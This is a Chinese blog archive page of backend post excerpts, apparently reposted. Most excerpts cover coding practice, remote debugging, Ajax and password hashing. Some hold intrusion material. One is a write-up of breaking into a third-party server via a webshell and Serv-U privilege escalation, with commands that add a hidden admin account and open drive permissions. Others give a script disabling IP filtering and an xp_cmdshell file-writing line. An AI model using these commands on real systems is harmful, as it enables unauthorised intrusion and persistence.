一切福田,不離方寸,從心而覓,感無不通。

Category Archives: Backend

把查询结果保存到文件

EXEC master..xp_cmdshell 'bcp "select top 1 txt from master.dbo.ctest " queryout c:\ctxt.vbs -c -S(local) -Usa -Phbcfsa'

龙生   18 Jun 2013
View Details

禁用tcp/ip筛选功能的vbs脚本

On Error Resume Next   strComputer = "."   Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")   Set colNicConfig = objWMIService.ExecQuery  ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")     For Each objNicConfig in colNicConfig    If objNicConfig.IPFilterSecurityEnabled Then      intDisableReturn = objNicConfig.DisableIPSec      If intDisableReturn = 0 Then        WScript.Echo "ip过滤已禁用."      ElseIf intDisableReturn = 1 Then        WScript.Echo "ip过滤已禁用." &        VbCrLf & " 必须重新启动使更改生效."      Else        WScript.Echo "无法禁用ip过滤"     […]

龙生   18 Jun 2013
View Details

怎么用命令关闭windows防火墙

龙生   18 Jun 2013
View Details

CMD下查看遠程桌面端口

很多朋友不知道怎樣在cmd下查看3389被 修改成了什麽。有時候注冊表讀其來不是太方便。、 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 这条命令是查看远程桌面连接所开的端口是多少 一般默认显示是0xd3d   也就是3389 。 其實兩個 常見的cmd命令就可以搞定下來· 先用tasklist /svc 图像名                       PID 服务========================= ====== =============================================System Idle Process            0 暂缺System                         4 暂缺smss.exe                     704 暂缺csrss.exe                    772 暂缺winlogon.exe                 796 […]

龙生   18 Jun 2013
View Details

从上传webshell突破TCP/IP筛选到3389登陆

作者:lvhuana  来自:http://www.wrsky.com/ 日期:2004.12.11LvHuaNa一:得到webshell今天晚上的一次小小测试,由于本人太菜,再高深的技术我也不会,只能这样了……….一切都已经过去了,没有办法补图了,希望能看的懂这个小帖子。今天有是无聊的一天,晚上实在无聊没有事情干,就到一个视频聊天站点看秀,嘿嘿~突然发现一个聊天室特别的火暴,人数已经有500人在里面了(满员了),刷了n次也没有进去……….更加郁闷了!:(想想反正也是没有事情做,测试一下主机安全做的怎么样吧,呵呵(太菜,说测试人家安全实在是抬高自己了)在cmd下ping了一下得到了对方的ip,然后登陆http://whois.webhosting.info/对方ip看看有没有其他的站点,哈,这下发了,上面有几十个站点,估计我还是能找到一个两个带漏洞的站点的`经过漫长的查找,终于找到一个动易带漏洞的页面_Soft.asp">http://www.xxxx.net/Upfile_Soft.asp,上传一个webshell(海阳2005正式版)先(怎么上传我就不罗嗦了,上传工具现在漫天飘了)。 二:成功提升权限建立用户拿到webshell后高高兴兴的登陆了,突然发现什么权限都没有,只能在自己的webshell所在的目录里面打转(c.d.e.f盘都浏览不了),连删除文件的权限都没有,郁闷呀……..回到〖Server〗下看看主机开了什么服务吧,经过发现他开了终端服务和serv-u服务,哈,这下有搞头了^_^用superscan扫描了一下他的ip,果然通过banner看出他是用的serv-u,版本5.0。到〖Wscript.Shell〗下面试试看能执行cmd命令不能,输入net user后没有反映,再试通过Wscript.Shell能执行cmd命令不能,再次输入net user后执行返回了对方的user名单,哈哈,这下好了,能拿下了!!上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面,改名为:test.exe,然后回到〖Wscript.Shell〗下执行命令去了,嘿嘿,马上一只肥鸡就要到手了,高兴ing~通过Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest /active:yes"              #激活guest账号,我喜欢用这个账号D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest lvhuana"                    #把guest账号的密码设定为lvhuanaD:\a004\tggtwe\****.com\UploadSoft\test.exe "net localgroup administrators guest /add"               #提升guest权限到admin权限好了,账号建立完毕,执行一下net localgroup administrators看看成功没,通过回显知道添加成功了。然后执行netstat -an后看到他开的终端端口是默认的3389,OK,连接试试~ 三:解决TCP/IP筛选连接不上!?晕………..再拿出superscan来扫一下他的3389,根本扫不到……..(开了防火墙!?靠,我的点真背…..)没有办法了,再次回到Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe c: /e /t /g everyone:F"            #把c盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe d: /e /t /g everyone:F"            #把d盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe e: /e /t /g everyone:F"            #把e盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe f: /e /t […]

龙生   18 Jun 2013
View Details

Visual Studio 2012/2010/2008 远程调试

远程调试应用场景 部署环境:ASP.NET(C#)+IIS+Win7 64 bit 很多公司的开发模式都是将开发机器和服务器分开,也就是开发一台机,服务器一台机。而测试人员会在服务器上录入测试数据,此时报错了【由于开发程序时忽略了数据类型或者数据是否合法导致的】,如果是简单的错误那还好办,看下代码直接消灭。要是生命力比较顽强的bug,那么就需要调试了。 此时开发人员会产生几种设想: 1、赶紧把服务器的环境部署到本地,然后把生成的dll扔进去进行调试。这时会出现几种结果,如果顺利的话,通过了调试解决了bug,如果不顺利的话,就会延长bug的解决时间。不顺利的情况可能会有:对程序的配置不熟悉,本地可能在注册表缺少了对那个插件的注册,目录可能存在中文……种种的,种种的问题。 2、在服务器上装上一个Visual Studio 2008/2010/2012[后面简称vs工具],然后把程序文件拷过去,然后将生成的文件dll附加到iis进程而进行调试,哈哈,顺利解决了bug,但是一看钟表半天过去了。而且服务器多了很多文件,仅仅是为了你调试这个程序的文件。如果是管理不是很严谨的公司那还说的过去,要不然少不了要被喷一顿。 好吧,不说口水话了,进入正题。 远程调试方法 第一步:将vs工具里的Remote Debugger文件夹拷贝到目标机器。大致的目录应该是:D:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\Remote Debugger,或者从开始菜单那里可以找到它的快捷方式,如下图:                   第二步:在服务器上打开Remote Debugger文件夹,如果是32位的就运行X86里面的msvsmon.exe,如果是64位的就运行X64里面的msvsmon.exe。关于32位和64位这里要注意一下,以你的IIS应用程序池为主,在应用程序池那里右键,点击高级设置,可出现以下窗体。如果启用32位应用程序设置为true的话,那么就需要运行X86里面的msvsmon.exe。 运行后会出现以下界面 第三步【最关键一步】:将你本地的账号密码设置成跟服务器一样,因为远程调试也是需要用户凭证的。账号和密码都要一致哦!!! 第四步:用vs工具打开你的程序源码,用快捷键ctrl + alt + p 打开附加进程窗体,如下图 传输:默认 限定符:默认是本机的机器名称,设置为你的服务器IP(如:192.168.1.250) 设置好按回车就可以看到250这台机子的进程,然后找到w3wp.exe这个进程,点击附加。【如果没有看到w3wp.exe,可以把下面显示所有用户的进程勾上】 接下来就尽情享受代码的调试把。 关于调试那点技术 比较一下下面两种调试的方法,看谁犯过第一种,反正我犯过。^_^ 1、为了调试某个dll而直接在Web程序里直接按F5进行调试,如果是小项目小网站的话,那没问题。如果是一个几十M甚至几百M的网站那么问题就来了。这样子的调试非常的慢,而且每次都需要重新生成整个网站的dll,那速度,是可忍孰不可忍。 2、将你需要调试的dll重新生成一下,把dll和pdb文件拷到已发布好的网站bin目录底下,然后ctrl + alt + p附加到IIS进程w3wp.exe,然后就可以调试你的dll了。这样即快又方便,做个开心的程序员吧。 结束语 好久没写过东西了,距离上一篇Installshield有1年多了,哎。以后坚持有空就写点文章,多总结自己的经验。 转自:http://www.cnblogs.com/magicchaiy/archive/2013/05/28/VS%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7.html

龙生   18 Jun 2013
View Details

我现在是这样编程的

我在做什么 曾经,我试过接到一些需求。一眼带过后,脑袋马上随着高昂的斗志沉溺在代码的世界中 ,马不停蹄地敲着键盘直到最后测试的完成。我从思绪中恢复过来,乍一看自己写的功能,和需求差了十万八千里,我TM都在干嘛? 除此之外,我还见过类似的很好笑的事情。有一个程序员,经理提了需求,然后他在那里折腾了一天。结果不但没做出来,而且和实际需求都是完全搭不上调。经过询问发现,他不知道经理说了什么,也不知道自己到底在做什么。 代码的世界可能是昏天暗地的,但是我们的思维不能这样随之混乱,否则一切都会前功尽弃。所以我现在编写程序的时候,经常会想一下:我要做什么,我在做什么。更好的方法是把详细需求落实到文档,并时刻核对文档。 大局为重 2-8法则告诉我们,一个项目核心的功能只有很少,其它大部分都是对核心功能辅助或增强的。但当任务分发下来,我手头总有一些自己很想开发的模块,不过它们不属于那20%。我以前经常会在这些感兴趣的模块上花费很多时间和精力。 结果项目快要到上线期限,主要的功能却没开发完成,其它一些不起眼的功能却做得很好,但为此项目不得不延期了。如果反过来,只要对整体功能预期不会有太大偏差,可以将就的先上线。重要一点是:即使功能还有遗漏,但项目可以上线了,老板自然不会太追究,自己工作也能图个安心。如果不知道那些功能模块是最重要的,先问问经理。 人总是喜欢做一些自己感兴趣或者有挑战的事。不过在这方面,为了项目和团队着想,应该尽量压制这种诱惑。 性能永远不是优先考虑的问题 我从来不会一开始就考虑性能问题。如果项目成本很低,甚至到项目结束时,如果没有感觉到明显的性能问题,也不会去管。要知道现在已经不是DOS的年代,CPU的计算能力很高,但成本很低了。重要一点是,如果只针对提升性能对代码做改动,很容易破坏代码的复用性和可维护性。而返过来,提高了代码的复用性和可维护性,则很容易提高性能。 下面有一个PHP的代码实例,功能是帮助用户重置密码(代码为了简单说明问题,请不要太在意一些无关的细节) requestResetPassword是接收用户重置密码的请求并且做了相应的检查。为了更好的复用性,我将重置密码的操作单独分配到一个新的resetPassword的函数,更改完密码的后再调用sendEmail向用户发送一封通知邮件。 现在问题是,这三个函数都同时使用checkUserExists这个函数来检查用户不存在,数据库查询了三次,这样带来了一些额外的开销。 如果要去掉三者之间任意一个checkUserExists,看上去是可能的。但是如果之后有某些功能要调用resetPassword或者sendEmail,用户不存在时,系统可能会发生错误。 还有一个解决方法是,将resetPassword的逻辑写到requestResetPassword里,再过一点,把sendEmail的逻辑也写进去。这样函数调用减少,数据库查询也变成一次了,性能得到了提高。但是重置密码和发送邮件的功能将不能得到复用,并且违背了单一责任的原则,代码复杂度也提高了。 不过,因为函数分离和复用性都很好,如果实际性能受到影响,可能考虑用缓存的方法减少数据库查询,我改动了它们共用的checkUserExists函数: 也可以用同样的方法改动getUserInfo函数。 这里可以看到,当代码的复用性提高时,想提高性能是很简单的,性能的瓶颈也很容易被发现和修改。 尽管这个例子对性能影响还不够大,还有一些影响更大的,比如说遍历,我可能为了复用而将遍历封装到一个函数中,并且多次使用它。这些开销对我的项目根本没有预想中那样有太大的影响,或者说是微乎其微的。所以我更愿意把时间花在如何提高代码的复用性和维护性方面,而不是纠结于浪费多这一点性能。实际性能如果真的达不到要求,也可以权衡增加硬件配置。 名字长一点好 函数名和变量名等除了给机器看,也要给人看的,有时一个简单直接的好名字实在是很难想,这时不妨用长一点的名字更好。可读性更好: 我见过一些代码,由于简单写过多,整遍代码很多都是4个字母或以下的,可读性非常差,当然不排除是为了偷懒。 但如果想有更多的时间腾出来偷懒,不应该在这上面玩小聪明,否则这时我现在应该在思考前几天的代码是在写什么。 什么?短名字会让代码执行得更快? 那证明给我看,如果真的快,快了多少? 自说明代码很重要,但注释同样重要 代码本身可以说明问题的确是很棒的,但并不是说注释不重要,有时候我更喜欢先看注释,因为它总比我看代码更快的了解这程序是做什么的。 如果我把本文前面说性能的例子去掉注释,哪个能让你更快了解代码的意图?或者说,你更愿意看哪个? 所以,即使代码本身很清晰,但是加上注释的话,可读性也能提高很多! 适当抽象 编程就是为了解决实际中的问题,在思考如何编码的时候,把问题抽象到一定的高度去思考,更容易把握问题所在。不过更多时候,我发现从代码抽象到现实的例子是有一定难度的,同时我也相信,编程高手也是抽象高手,他们很容易把问题反映到真实生活中去。 不过如果经常留意和思考生活中的细节,会提升自己的抽象能力。 举一个螺丝刀的例子,如果叫你造一个螺丝刀,你会做成什么样子?我这里有三把不同的螺丝刀: 显然第一种螺丝刀是最简单的,比较中规中矩。 第二种螺丝刀中间可以旋转刀柄,让刀柄和刀头成90度,这样的设计让拧螺丝更加轻松。 第三种螺丝刀则可以更换刀头,如果以后有其它类型的螺丝,则只要造一个适合这种螺丝的刀头就可以了。 那反映到编程中的问题,如果项目要增加一个工具类库。 第一种方法,可以直接把类库的所需功能写出来就可以了。 第二种方法,不但把类库写出来,而且针对项目的一些情况做特殊改进,使得在这个项目中更好用。 第三种方法,根据类库的特性,把公共部分的逻辑做成接口,特殊的部分分离出来单独实现,如果以后要增加相同类型的类库,则实现特殊部分的逻辑,然后接入接口即可。 但是在抽象的时候,要避免不合理的抽象,有时也可能造成过渡设计,现在只需要一种螺丝刀,但你却把更多类型的螺丝刀都做出来了(而且还是瑞士军刀的样子。。): 一致性 团队开发中,可能每个人的编程风格都不一样,拿花括号来说,有些人喜欢和代码在同一行,而有些喜欢独自一行 命名风格也都不一样,比如说声明变量接收一个函数返回的数据,有些喜欢用result,有些喜欢用data。 它们可能都很好,不过在团队开发中,尽量统一用同一种风格能够很好的减少交叉开发的成本。 将错就错 面对项目一些无关紧要的分歧或错误,应该要接受和理解。承接上面的问题,如果团队中已经有人大量用了data的变量命名,但你认为result的更符合当前状况的描述。这种情况,我优先选择data命名,因为如果再使用result的话,会破坏项目的一致性,对开发没有任何好处。 这只是很少的一方面,如果项目规范没有很好的落实,实际工作中会有大量的一致性问题,必须靠团队每个人的决心和责任心去把它做好。通常,加入一个正在开发中的项目,编写功能前,我都会首先看项目之前的类似的代码,并尽量模仿他们的写法。不过,如果有明显的错误,应该及时指出和修正。 只要坚持把一致性做好,很多方法会成为团队甚至业界的标准,即使它们不是最好的,但是有什么关系呢? 适当休息 编程的时候如果没有思路或者感到混乱,到外边休息10分钟,或者看一下风景,让脑袋清醒一下是很好的。这招很管用,亲测。 至少把代码完整运行一次 有时函数的逻辑过于简单,以至于会认为这个不可能发生错误,但事实上最容易发生错误的通常就是这些代码,常见的单词拼写错误,参数错误,还有一些意料之外的问题。所以无论什么情况,我都会把代码完整运行一遍。 当然更好的做法是用一些系统的测试方法,比如说单元测试。 编程不是艺术 从一开始,编程语言的出现和发展,都是为了解决现实生活中的问题,包括它自身产生的问题。 面向对象、设计模式的出现,是用来解决编程语言自身带来的可读性和维护性等问题,而不是为了让编程语言上升到艺术的层面。尽管编程中有‘优雅’一词,但我更认为它只是用来形容代码更容易让人读懂和维护。 我拒绝一切看起来很‘优雅’,却不能为编程工作带来一点好处的代码。如果你喜欢玩弄语言,应该去当作家。 甘于平凡 程序员真的很高傲,在我接触过的人中,包括我自己也是。我以前经常对一些简单的代码感到不屑,而总想在项目中写一些犀利的代码,让人看起来很NB,但结果总是和想象差太远,代码总是写的很差,逻辑也不够清晰。归根到底,是我带着这样的思想去写代码,而忽略了编程的根本:解决问题。现在我改掉了这个坏毛病,以解决问题为目的去编程,以简单为主。出乎意料的是别人有时会对我说,这里的代码写得很棒。 踏实的做事,会有意想不到的收获。 承认错误 不要怀疑,当别人用自己的程序或者代码无法运行时,首先考虑是否是自己的逻辑哪里有问题。一来别人会觉得我谦虚,二来实际大多数情况的确是自己的问题。 有原则,有决心 做任何事情都坚持原则,并有决心是最好的。有很多道理我们都明白,但经常做不到,没有任何人能帮到自己,未来也是自己争取的。 所以,如果知道什么是好,就尽量去做,什么是不好,就尽量避免。 即使是在公司面对经理和领导,也要坚持自己的做法,一些不合理的需求应该指出或拒绝。我还年轻,大不了换一家公司,而不愿意做一个受欺压的码农。 我在做什么 文章写完了,现在来回想一下,我是在分享自己现在编程的一些习惯,总算没偏离开始的主题。本文的思想都是来自实际工作和一些书籍,想了解更多的话,推荐阅读《整洁代码之道》《代码大全》《重构》这几本书。 如果你有一些认为好的编程方法,不妨拿出来和大家分享一下。 转自:http://my.oschina.net/u/867608/blog/138002

龙生   17 Jun 2013
View Details

Asp.net MVC2中使用Ajax的三种方式

      在Asp.net MVC中,我们能非常方便的使用Ajax。这篇文章将介绍三种Ajax使用的方式,分别为原始的Ajax调用、Jquery、Ajax Helper。分别采用这三种方式结合asp.net mvc去实现一个史上最简单的留言板。     首先看一下原始的Ajax的调用的      定义CommentController,代码如下:

    在Asp.net MVC中添加一个custom_ajax.js,加入下面使用ajax的脚本代码,调用AddCommentServer方法。

    在View中引入此脚本,创建一个简单的表单,并添加触发的代码:

    添加下面脚本:

 

   效果:与方式一效果一样

    1、首先了解一下Ajax Helper下面四种方法。         a、Ajax.ActionLink():它将渲染成一个超链接的标签,类似于Html.ActionLink()。当它被点击之后,将获取新的内容并将它插入到HTML页面中。         b、Ajax.BeginForm():它将渲染成一个HTML的Form表单,类似于Html.BeginForm()。当它提交之后,将获取新的内容并将它插入到HTML页面中。         c、Ajax.RouteLink():Ajax.RouteLink()类似于Ajax.ActionLink()。不过它可以根据任意的routing参数生成URL,不必包含调用的action。使用最多的场景是自定义的IController,里面没有action。         d、Ajax.BeginRouteForm():同样Ajax.BeginRouteForm()类似于Ajax.BeginForm()。这个Ajax等同于Html.RouteLink()。     这个例子中使用Ajax.BeginForm(),下面具体了解Ajax.BeginForm()的参数。看下面代码

    actionName:AddComment(action的名字)     controllerName:CommentController(Controller的名字)     ajaxOptions:          HttpMethod:Ajax的请求方式,这里为POST           UpdateTargetId :Ajax请求的结果显示的标签的ID,这里为comments          InsertionMode:将Ajax结果插入页面的方式,这里将ajax的结果放置到comments的后面 2、实现:     在CommentController中添加IndexAjaxHelp方法。

      根据IndexAjaxHelp生成View表单IndexAjaxHelp.aspx,定义表单:

    要在此View中添加下面两个脚本文件:

   这样就行了,我们发现比用Jquery方便很多,但是使用Jquery将灵活很多。      3、效果:和方式一样。 总结:本文非常的简单,在asp.net mvc中实现了3中ajax的调用方式,实现了一个最简单的留言板程序。推荐使用Jquery和Ajax Helper这两种。Ajax Helper使用非常简单,Jquery比较灵活。 更新:三种方式都实现了一个最简单的留言板程序 参考:     ASP.NET MVC 2 In Action     Pro ASP.NET MVC 2 Framework, Second Edition   代码:http://files.cnblogs.com/zhuqil/AjaxDemo.rar   作者:朱祁林出处:http://zhuqil.cnblogs.com本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。  

龙生   14 Jun 2013
View Details

生成缩略图

龙生   06 Jun 2013
View Details

PHP中一些通用和易混淆技术点的最佳编程实践

我们使用的是哪个 PHP 版本? 带有 Suhosin-补丁的PHP 5.3.10-1ubuntu3.6, 安装于 Ubuntu 12.04 LTS. PHP如同是网络世界的百年老龟。它的外壳上刻有一个丰富的,令人费解的,粗糙的历史。在一个共享主机的环境下,它的配置可能会限制你能做什么事情。 为了保留一丝明智,我们需要只专注于一个版本的PHP。截至2013年4月30,该版本是 带有Suhosin补丁的PHP5.3.10-1ubuntu3.6 。如果你使用apt-get从一个Ubuntu12.04 LTS服务器来安装PHP的话,你所得到的版本就是这个。换句话说,许多人在默认情况下已经很明智地使用了它。 您可能会发现本文这些解决方案能工作于不同或更旧版本的PHP。如果是这样的话,就要由你来研究在这些旧版本中的细微错误或安全问题的影响了。 保存密码 使用 phpass 库计算密码的哈希值进行比较。 用 phpass 0.3 进行的测试。 散列化是在把用户密码保存进数据库之前对其进行保护的标准方法。许多常见的散列算法,如MD5,乃至SHA1,用于存储密码都是不安全的,因为黑客可以使用这些散列算法轻松破解密码。 要散列化密码最安全的方法是使用bcrypt算法。开源的phpass 库用一个易于使用的类来提供这个功能。 例子: view source print? 01 <?php 02 // 包含phpass库 03 require_once('phpass-0.3/PasswordHash.php'); 04 05 // 初始化散列器为不可移植(这样更安全) 06 $hasher= newPasswordHash(8, false); 07 08 // 计算密码哈希值。$hashedPassword 将会是一长为60个字符的字符串. 09 $hashedPassword= $hasher->HashPassword('my super cool password'); 10 11 // 你现在可以安全地保存$hashedPassword到数据库中! 12 13 // 通过比较用户输入内容(产生的哈希值)和我们之前计算出的哈希值,来判断用户是否输入了正确的密码 14 $hasher->CheckPassword('the wrong password', $hashedPassword); // 返回假 15 16 $hasher->CheckPassword('my super cool password', $hashedPassword); // 返回真 17 ?> 陷阱 很多来源会建议你在计算密码的哈希值之前先给密码加点“作料”。这是个好主意,phpass已经利用HashPassword() 函数中的一部分代码来为你给密码加了作料。 这就意味着你并不需要自己再亲自做这个了。 进一步阅读 […]

龙生   04 Jun 2013
View Details
1 244 245 246 280